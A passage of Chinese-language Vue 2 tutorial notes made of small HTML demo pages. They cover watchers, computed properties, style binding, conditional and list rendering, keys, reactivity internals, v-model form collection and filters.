				//监视多级结构中某个属性的变化
				/* 'numbers.a':{
					handler(){
						console.log('a被改变了')
					}
				} */
				//监视多级结构中所有属性的变化
				numbers:{
					deep:true,
					handler(){
						console.log('numbers改变了')
					}
				}
			}
		})

	</script>
</html>


<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>天气案例_监视属性_简写</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			watch:{
				//正常写法
				/* isHot:{
					// immediate:true, //初始化时让handler调用一下
					// deep:true,//深度监视
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
				}, */
				//简写
				/* isHot(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue,this)
				} */
			}
		})

		//正常写法
		/* vm.$watch('isHot',{
			immediate:true, //初始化时让handler调用一下
			deep:true,//深度监视
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		}) */

		//简写
		/* vm.$watch('isHot',(newValue,oldValue)=>{
			console.log('isHot被修改了',newValue,oldValue,this)
		}) */

	</script>
</html>

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>姓名案例_watch实现</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				computed和watch之间的区别:
						1.computed能完成的功能,watch都可以完成。
						2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
				两个重要的小原则:
							1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
							2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,
								这样this的指向才是vm 或 组件实例对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			姓:<input type="text" v-model="firstName"> <br/><br/>
			名:<input type="text" v-model="lastName"> <br/><br/>
			全名:<span>{{fullName}}</span> <br/><br/>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三',
				fullName:'张-三'
			},
			watch:{
				firstName(val){
					setTimeout(()=>{
						console.log(this)
						this.fullName = val + '-' + this.lastName
					},1000);
				},
				lastName(val){
					this.fullName = this.firstName + '-' + val
				}
			}
		})
	</script>
</html>





第十章:绑定样式

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>绑定样式</title>
		<style>
			.basic{
				width: 400px;
				height: 100px;
				border: 1px solid black;
			}
			
			.happy{
				border: 4px solid red;;
				background-color: rgba(255, 255, 0, 0.644);
				background: linear-gradient(30deg,yellow,pink,orange,yellow);
			}
			.sad{
				border: 4px dashed rgb(2, 197, 2);
				background-color: gray;
			}
			.normal{
				background-color: skyblue;
			}

			.atguigu1{
				background-color: yellowgreen;
			}
			.atguigu2{
				font-size: 30px;
				text-shadow:2px 2px 10px red;
			}
			.atguigu3{
				border-radius: 20px;
			}
		</style>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			绑定样式:
					1. class样式
								写法:class="xxx" xxx可以是字符串、对象、数组。
										字符串写法适用于:类名不确定,要动态获取。
										对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
										数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
					2. style样式
								:style="{fontSize: xxx}"其中xxx是动态值。
								:style="[a,b]"其中a、b是样式对象。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 1.绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定,一次就是要了如下的插值语法    绑定了点击事件-->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>





			<!--2. 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>



			<!-- 3.绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>



			<!--4. 绑定style样式--对象写法 -->
			<div class="basic" :style="styleObj">{{name}}</div> <br/><br/>


			<!-- 5.绑定style样式--数组写法 -->
			<div class="basic" :style="styleArr">{{name}}</div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		//创建一个vue实例
		const vm = new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术学院',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],
				classObj:{
					atguigu1:false,
					atguigu2:false,
			},


				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
				]
			},
			methods:{

				changeMood(){

					// document.getElementById('demo').className='basic happy'
// this.mood='happy'
//				动态使用样式,使用数组来
					const arr = ['happy','sad','normal']
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]


				}

			}

			/*el:'#root',
			data:{
				name:'尚硅谷',
				mood:'normal',
				classArr:['atguigu1','atguigu2','atguigu3'],
				classObj:{
					atguigu1:false,
					atguigu2:false,
				},
				styleObj:{
					fontSize: '40px',
					color:'red',
				},
				styleObj2:{
					backgroundColor:'orange'
				},
				styleArr:[
					{
						fontSize: '40px',
						color:'blue',
					},
					{
						backgroundColor:'gray'
					}
				]
			},
			methods: {
				changeMood(){
					const arr = ['happy','sad','normal']
					const index = Math.floor(Math.random()*3)
					this.mood = arr[index]
				}
			},*/
		})
	</script>
	
</html>

第十一章:条件渲染


<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>条件渲染</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
				条件渲染:
							1.v-if
										写法:
												(1).v-if="表达式" 
												(2).v-else-if="表达式"
												(3).v-else="表达式"
										适用于:切换频率较低的场景。
										特点:不展示的DOM元素直接被移除。
										注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

							2.v-show
										写法:v-show="表达式"
										适用于:切换频率较高的场景。
										特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
								
							3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
		 -->
		<!-- 准备好一个容器-->
		<div id="root">
<!--			<h2>欢迎来到:{{n}}</h2>-->
			<h2>欢迎来到:{{name}}</h2>
<!--			<button @click="n++">点我n+1</button>-->


			


<!--			使用v-show 做为条件渲染-->
			<h1 v-show="false">欢迎来到:{{name}}</h1>
<!--			表达式一:-->
<h3 v-show="1===1">欢迎来到:{{name}}</h3>

<!--使用v-if来做条件渲染:注意这个不到万不得已不建议-->
<h4 v-if="false">欢迎来到:{{name}},计算机学院</h4>


			<h5 >当前的值是{{n}}</h5>
			<button @click="n++">点我加一</button>




			<!--以下就是通过满足指定条件来规定要显示的东西-->
<!--例如:当点击按钮 当n变为1的时候就显示 计算机科学与技术1班
以此类推
-->
			<div v-show="n===1">计算机科学与技术1班</div>
			<div v-show="n===2">计算机科学院与技术2班</div>
			<div v-show="n===9">计算机科学与技术3班</div>


<!--方式二:如果要使用else 那么div就不能有断开,必须连着-->
<div v-if="n===3">计算机科学与技术</div>
<div v-else-if="n===5">我是五</div>
<div v-else-if="n===7">我是七</div>

<!--因此条件渲染顾名思义:就是设置一个条件,当满足这个条件爱你的时候,就会出现特定的画面-->

			<!-- 使用v-show做条件渲染 -->
			<!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- 使用v-if做条件渲染 -->
			<!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
			<!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

			<!-- v-else和v-else-if -->
			<!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

			<!-- v-if与template的配合使用 -->
			<template v-if="n === 1">
				<h2>你好</h2>
				<h2>计算机科学与技术学院</h2>
				<h2>北京</h2>
			</template>

		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		const vm = new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术学院',
				n:0
			}
		})
	</script>
</html>

第十二章:列表渲染

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本列表</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!--
				v-for指令:
						1.用于展示列表数据
						2.语法:v-for="(item, index) in xxx" :key="yyy"
						3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<ul>
				<li v-for="(p,index) in persons" :key="index">
					{{p.name}}---->{{p.age}} {{index}}

				</li>

			</ul>
<!--这个方法可以用来遍历对象-->
			<h3>汽车信息</h3>
			<ul>
				<li v-for="(value,k) of car ":key="k">
					{{k}}-{{value}}

				</li>

			</ul>





		</div>

<!--		<div id="root">-->
<!--			&lt;!&ndash; 遍历数组 &ndash;&gt;-->
<!--			<h2>人员列表(遍历数组)</h2>-->
<!--			<ul>-->
<!--				<li v-for="(p,index) of persons" :key="index">-->
<!--					{{p.name}}-{{p.age}}-->
<!--				</li>-->
<!--			</ul>-->

<!--			&lt;!&ndash; 遍历对象 &ndash;&gt;-->
<!--			<h2>汽车信息(遍历对象)</h2>-->
<!--			<ul>-->
<!--				<li v-for="(value,k) of car" :key="k">-->
<!--					{{k}}-{{value}}-->
<!--				</li>-->
<!--			</ul>-->

<!--			&lt;!&ndash; 遍历字符串 &ndash;&gt;-->
<!--			<h2>测试遍历字符串(用得少)</h2>-->
<!--			<ul>-->
<!--				<li v-for="(char,index) of str" :key="index">-->
<!--					{{char}}-{{index}}-->
<!--				</li>-->
<!--			</ul>-->
<!--			-->
<!--			&lt;!&ndash; 遍历指定次数 &ndash;&gt;-->
<!--			<h2>测试遍历指定次数(用得少)</h2>-->
<!--			<ul>-->
<!--				<li v-for="(number,index) of 5" :key="index">-->
<!--					{{index}}-{{number}}-->
<!--				</li>-->
<!--			</ul>-->
<!--		</div>-->








		<script type="text/javascript">
			Vue.config.productionTip = false

			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'吴邪',age:18},
						{id:'002',name:'解雨臣',age:19},
						{id:'003',name:'张起灵',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>
	</body>
</html>


key作用与原理:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8"/>
		<title>key的原理</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>

		<!-- 
				面试题:react、vue中的key有什么作用?(key的内部原理)
						
						1. 虚拟DOM中key的作用:
										key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 
										随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
										
						2.对比规则:
									(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
												①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
												②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

									(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
												创建新的真实DOM,随后渲染到到页面。
												
						3. 用index作为key可能会引发的问题:
											1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
															会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

											2. 如果结构中还包含输入类的DOM:
															会产生错误DOM更新 ==> 界面有问题。

						4. 开发中如何选择key?:
											1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
											2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
												使用index作为key是没有问题的。
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>计算机科学与技术学院班级人员(遍历数组)</h2>
			<button @click.once="add">添加一个学生信息</button>
			<ul>
<!--				<li v-for="(p,index) of persons" :key="index">   这个书写方法很明显是有问题的-->
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-*-*-*-{{p.age}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'解雨臣',age:18},
						{id:'002',name:'吴邪',age:19},
						{id:'003',name:'张起灵',age:20}
					]
				},


				methods: {
					//书写一个添加数据的方法
					add(){
						const p = {id:'004',name:'王胖子',age:40}
						this.persons.unshift(p)//这个方法表示把这条数据往前放
					}
				},
			})
		</script>
	</body>
</html>
列表过滤:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>列表过滤</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>计算机科学与技术学院</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<ul>
				<li v-for="(p,index) of filPerons" :key="index">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false


			//用watch实现
			//#region 
			/* new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'马冬梅',age:19,sex:'女'},
						{id:'002',name:'周冬雨',age:20,sex:'女'},
						{id:'003',name:'周杰伦',age:21,sex:'男'},
						{id:'004',name:'温兆伦',age:22,sex:'男'}
					],
					filPerons:[]
				},
				watch:{//开始书写watch 使用watch
					keyWord:{
						immediate:true,
						handler(val){
							this.filPerons = this.persons.filter((p)=>{
								return p.name.indexOf(val) !== -1
							})
						}
					}
				}
			}) */
			//#endregion
			
			//用computed实现:
			new Vue({
				el:'#root',
				data:{
					keyWord:'',//记录用户的输入
					persons:[
						{id:'001',name:'解雨臣',age:19,sex:'女'},
						{id:'002',name:'吴邪',age:20,sex:'女'},
						{id:'003',name:'张起灵',age:21,sex:'男'},
						{id:'004',name:'王胖子',age:22,sex:'男'},
						{id:'005',name:'黑瞎子',age:40,sex: '男'}
					]
				},
				computed:{
					filPerons(){//
						return this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1//角标返回布尔值
						})
					}
				}
			}) 
			
			
			
		</script>
		</body>
</html>


列表排序:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>列表排序</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>计算机科学与技术学院</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
<!--			1.绑定升序事件-->
			<button @click="sortType = 2">年龄升序</button>
<!--			2.绑定降序事件-->
			<button @click="sortType = 1">年龄降序</button>
<!--			3.绑定原顺序事件-->
			<button @click="sortType = 0">原顺序</button>
			<ul>
				<li v-for="(p,index) of filPerons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					sortType:0, //0原顺序 1降序 2升序
					persons:[
						{id:'001',name:'吴邪',age:40,sex:'女'},
						{id:'002',name:'张启山',age:81,sex:'女'},
						{id:'003',name:'黑瞎子',age:79,sex:'男'},
						{id:'004',name:'张起灵',age:102,sex:'男'}
					]
				},
				//以下是列表排序的算法 
				computed:{
					filPerons(){
						const arr = this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
						//判断一下是否需要排序
						if(this.sortType){//如果这个事件成立就排序
							arr.sort((p1,p2)=>{
								//函数体
								return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
							})
						}
						return arr
					}
				}
			}) 

		</script>
	</body>
</html>



更新时的问题:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>更新时的一个问题</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>



		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
<!--			绑定相关事件-->
			<button @click="updateMei">更新吴邪的信息</button>
			<ul>
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>




		<script type="text/javascript">
			Vue.config.productionTip = false
			
			const vm = new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'吴邪',age:30,sex:'女'},
						{id:'002',name:'解雨臣',age:31,sex:'女'},
						{id:'003',name:'黑瞎子',age:18,sex:'男'},
						{id:'004',name:'张起灵',age:19,sex:'男'}
					]
				},
				methods: {
					//书写事件,来进行更新数据
					updateMei(){
						// this.persons[0].name = '马老师' //奏效
						// this.persons[0].age = 50 //奏效
						// this.persons[0].sex = '男' //奏效
						// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效


						this.persons.splice(0,1,{id:'001',name:'关根',age:40,sex:'男'})
					}
				}
			}) 

		</script>
	</body>
</html>
Vue监测数据改变的原理:
	<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>学校名称:{{name}}</h2>
			<h2>学校地址:{{address}}</h2>
		</div>
	</body>






	<script type="text/javascript">




		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				name:'计算机科学与技术学院',
				address:'昆明',



				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35}
					]
				}




			}
		})
	</script>
</html>










<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Document</title>
	</head>
	<body>

<!--	准备一个容器-->
<!-- 准备好一个容器-->
<div id="root">
	<h2>学校名称:{{name}}</h2>
	<h2>学校地址:{{address}}</h2>
</div>




		<script type="text/javascript" >

			let data = {
				name:'计算机科学与技术学院',
				address:'北京',
			}

			//创建一个监视的实例对象,用于监视data中属性的变化
			const obs = new Observer(data)		
			console.log(obs)	

			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs

			function Observer(obj){
				//汇总对象中所有的属性形成一个数组
				const keys = Object.keys(obj)
				//遍历
				keys.forEach((k)=>{//使用循环开始遍历
					Object.defineProperty(this,k,{

						get(){
							return obj[k]
						},


						set(val){
							console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
							obj[k] = val
						}


					})
				})
			}
			
			


		</script>
	</body>
</html>
Vue.set()方法:

	<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>


		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
<!--			使用Vue差值语法来更新数据-->
<!--			这个语句读作:学校名称是代码块school下name  接下来的语句一次类推-->
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>


			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>





	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'计算机科学与技术学院',
					address:'北京',
				},
				student:{
					name:'张起灵',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'吴邪',age:35},
						{name:'解雨臣',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')//这个语句读作把当前的学生代码块的信息在添加一条信息 性别信息
				//	Vue.set(vm._data.student,'sex','男') 调用方法
				}
			}
		})
	</script>
</html>
Vue监测数据的原理介绍解答:
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>Vue监测数据改变的原理_数组</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称:{{school.name}}</h2>
			<h2>学校地址:{{school.address}}</h2>
			<h2>校长是:{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性,默认值是男</button>
			<h2>姓名:{{student.name}}</h2>
			<h2 v-if="student.sex">性别:{{student.sex}}</h2>
			<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>爱好</h2>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		//vm._data.student.hobby.push('Vue计算机科学与技术学院')  在爱好列表里面添加爱好信息   也就是Vue的变更方法
		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'计算机科学技术学院',
					address:'昆明',
				},
				student:{
					name:'吴邪',
					age:{
						rAge:40,
						sAge:29,
					},
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'解雨臣',age:35},
						{name:'张起灵',age:36}
					]
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			}
		})
	</script>
</html>





	
Vue数据监视总结:
		<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>总结数据监视</title>
		<style>
			button{
				margin-top: 10px;
			}
		</style>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!--
			Vue监视数据的原理:
				1. vue会监视data中所有层次的数据。

				2. 如何监测对象中的数据?
								通过setter实现监视,且要在new Vue时就传入要监测的数据。
									(1).对象中后追加的属性,Vue默认不做响应式处理
									(2).如需给后添加的属性做响应式,请使用如下API:
													Vue.set(target,propertyName/index,value) 或 
													vm.$set(target,propertyName/index,value)

				3. 如何监测数组中的数据?
									通过包裹数组更新元素的方法实现,本质就是做了两件事:
										(1).调用原生对应的方法对数组进行更新。
										(2).重新解析模板,进而更新页面。

				4.在Vue修改数组中的某个元素一定要用如下方法:
							1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()  这些方法在以下代码有测试案例
							2.Vue.set() 或 vm.$set()
				
				特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<h1>计算机科学与技术学院-学生信息</h1>
<!--			1.先绑定号相关的时间操作-->
			<button @click="student.age++">年龄+1岁</button> <br/>
			<button @click="addSex">添加性别属性,默认值:男</button> <br/>
			<button @click="student.sex = '未知' ">修改性别</button> <br/>
			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
			<button @click="addHobby">添加一个爱好</button> <br/>
			<button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
			<h3>姓名:{{student.name}}</h3>
			<h3>年龄:{{student.age}}</h3>
			<h3 v-if="student.sex">性别:{{student.sex}}</h3>
			<h3>爱好:</h3>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h3>朋友们:</h3>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'吴邪',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {//事件实现的代码块
				//1.
				addSex(){
					// Vue.set(this.student,'sex','男')  因为Vue做了数据代理 因此使用this来进行操作
					this.$set(this.student,'sex','男')
				},

				//2.
				addFriend(){
					this.student.friends.unshift({name:'张启山',age:70})
				},
				//3.
				updateFirstFriendName(){
					this.student.friends[0].name = '解雨臣'//寻找数组friends里面的第一个元素修改为解雨臣
				},
				//4.调用push()方法
				addHobby(){
					this.student.hobby.push('学习')
				},


				//5.
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')
					// Vue.set(this.student.hobby,0,'开车')
					this.$set(this.student.hobby,0,'开车')
				},

				//6.
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			}
		})
	</script>
</html>




第十三章:收集表单数据

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>收集表单数据</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 
			收集表单数据:
					若:<input type="text"/	>,则v-model收集的是value值,用户输入的就是value值。
					若:<input type="radio"/	>,则v-model收集的是value值,且要给标签配置value值。
					若:<input type="checkbox"/	>
							1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
							2.配置input的value属性:
									(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
									(2)v-model的初始值是数组,那么收集的的就是value组成的数组
					备注:v-model的三个修饰符:
									lazy:失去焦点再收集数据
									number:输入字符串转为有效的数字
									trim:输入首尾空格过滤
									以下代码示例:
		-->
		<!-- 准备好一个容器-->
		<div id="root">
			<form @submit.prevent="demo">
<!--				通过v-model指令来绑定对应事件-->
				账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
				密码:<input type="password" v-model="userInfo.password"> <br/><br/>
				年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>

				性别:
				男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
				女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>

				爱好:
				学习<input type="checkbox" v-model="userInfo.hobby" value="study">
				盗墓<input type="checkbox" v-model="userInfo.hobby" value="game">
				嫖娼<input type="checkbox" v-model="userInfo.hobby" value="eat">
				<br/><br/>

				所属校区
				<select v-model="userInfo.city">
					<option value="">请选择校区</option>
					<option value="beijing">北京</option>
					<option value="shanghai">上海</option>
					<option value="shenzhen">深圳</option>
					<option value="wuhan">武汉</option>
				</select>
				<br/><br/>
				其他信息:
				<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
				<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
				
				
				
				<button>提交</button>
			</form>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				userInfo:{
					account:'',//账号事件  因为要等待用户输入,因此就不使用默认值
					password:'',//密码事件  因此要等待用户输入,因此就不使用默认值
					age:18,//年龄事件,默认值为18,用户可以更改
					sex:'female',//性别  男女二选一
					hobby:[],//爱好事件,暂时为空,用来收集用户输入的数据
					city:'beijing',//
					other:'',
					agree:''
				}
			},
			methods: {
				demo(){
					// console.log(JSON.stringify(this.userInfo))
					console.log("提交成功!");
					alert("提交成功!")
				}
			}
		})
	</script>
</html>


第十四章:过滤

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>过滤器</title>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="../js/dayjs.min.js"></script>
	</head>
	<body>
		<!-- 
			过滤器:
				定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
				语法:
						1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
						2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
				备注:
						1.过滤器也可以接收额外参数、多个过滤器也可以串联
						2.并没有改变原本的数据, 是产生新的对应的数据
		-->

		<!-- 准备好一个容器-->
		<div id="root">
			<h2>显示格式化后的时间</h2>
			<!-- 计算属性实现 -->
			<h3>现在是:{{fmtTime}}</h3>

			<!-- methods实现 -->
			<h3>现在是:{{getFmtTime()}}</h3>


			<!-- 过滤器实现  或 运算符 -->
			<h3>现在是:{{time | timeFormater}}</h3>

			<!-- 过滤器实现(传参) -->
			<h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>


			<h3 :x="msg | mySlice">计算机科学与技术学院</h3>
		</div>

		<div id="root2">
			<h2>{{msg | mySlice}}</h2>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false

		//全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})



		new Vue({
